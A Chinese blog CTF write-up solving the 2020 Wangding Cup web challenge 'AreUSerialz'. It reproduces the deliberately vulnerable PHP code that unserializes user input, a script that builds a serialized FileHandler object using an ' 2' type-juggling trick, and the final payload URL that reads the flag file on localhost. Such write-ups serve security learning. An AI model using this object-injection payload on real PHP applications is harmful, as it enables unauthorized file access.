从零学网络安全 - CTF真题解析 2020-网鼎杯-青龙组-Web-AreUSerialz

一、目标:获取 Flag

1. 我们有两个文件

NewFlag.php

<?php
class NewFlag {
   public static function getFlag($fileName) {
   $res = "flag error";
   if($fileName ==="NewFlag.php") {
      $res = "flag:{this is flag}";
   }
   return $res;
   }
}
?>

ctf2.php

<?php
include("NewFlag.php");
highlight_file(__FILE__);
class FileHandler {
	protected $op;
	protected $filename;
	protected $content;

	function __construct() {
		$op = "1";
		$filename = "tmpfile";
		$content = "Hello World!";
		$this->process();
	}

	public function process() {
		if($this->op == "1") {
			$this->write();
		} else if($this->op == "2") {
			$res = $this->read();
			$this->output($res);
		} else {
			$this->output("Bad Hacker!");
		}
	}

	private function write() {
		if(isset($this->filename) && isset($this->content)) {
			if(strlen((string)$this->content) > 100) {
				$this->output("Too long!");
				die();
			}
			$res = file_put_contents($this->filename, $this->content);
			if($res) $this->output("Successful!");
			else $this->output("Failed!");
		} else {
			$this->output("Failed!");
		}
	}

	private function read() {
		$res = "";
		if(isset($this->filename)) {
			$res = NewFlag::getFlag($this->filename);
		}
		return $res;
	}

	private function output($s) {
		echo "[Result]: <br>";
		echo $s;
	}

	function __destruct() {
		if($this->op === "2")
			$this->op = "1";
		$this->content = "";
		$this->process();
	}
}

function is_valid($s) {
	for($i = 0; $i < strlen($s); $i++)
		if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
			return false;
	return true;
}

if(isset($_GET{'str'})) {

	$str = (string)$_GET['str'];
	if(is_valid($str)) {
		$obj = unserialize($str);
	}
}
?>

二、分析代码

1. 补充知识点:__wakeup() 函数比 __destruct() 函数先执行

__destruct() 函数:当一个对象被销毁时自动调用。

__wakeup() 函数:当我们将一个字符串反序列化时自动调用。

由于此题里没有 __wakeup() 函数,所以要另找突破口。

2. 寻找突破口

因为前面代码都是对象内的函数,所以突破口一定在这段代码。

if(isset($_GET{'str'})) {

	$str = (string)$_GET['str'];
	if(is_valid($str)) {
		$obj = unserialize($str);
	}
}

很明显,这里有个输入字符串 str,所以最后我们要的答案一定类似于:

http://localhost/ctf2.php?str=XXX ,现在我们的目标是找到 XXX,并且 XXX 是序列化后的对象,才能执行对象里的函数。

这里有一个判断函数 is_valid($str),用来判断 str 是否满足标准可打印 ASCII 字符,这个无需过多关注。

继续分析,程序结束后一定会调用 __destruct() 函数,__destruct() 函数里又有一个 process() 函数。分析 process() 函数,可以看到有一个 read() 函数,而 read() 函数是可以读取 NewFlag.php 的,所以我们要想办法让 read() 函数被执行。继续看 read() 函数执行条件,是让 op=2。

3. 构造数据

根据以上条件,新建一个 php 文件,并执行。对象属性里的 $content 似乎没什么用,我们可以任意赋值。

<?php
class FileHandler {
	public $op=" 2";
	public $filename="NewFlag.php";
	public $content="abc";
}
$fh = new FileHandler();
echo serialize($fh);
?>

执行后得到:

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:3:"abc";}

重点1:

源代码里的 protected 必须改成 public 才能顺利执行。

重点2:

op 的值必须用 $op=" 2" 而不是 $op="2",如果 $op="2",会被 __destruct() 函数强行改成"1"。

image

重点3:

phpStudy 版本过低不行,这是高版本的 bug,我们改成:

image

三、获得 Flag

1. 构造最终链接

http://localhost/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:3:"abc";}

回车后在页面最下方得到:

image

至此,成功夺旗。

posted @ 2026-04-02 23:34  CloverChu  阅读(2)  评论(0)    收藏  举报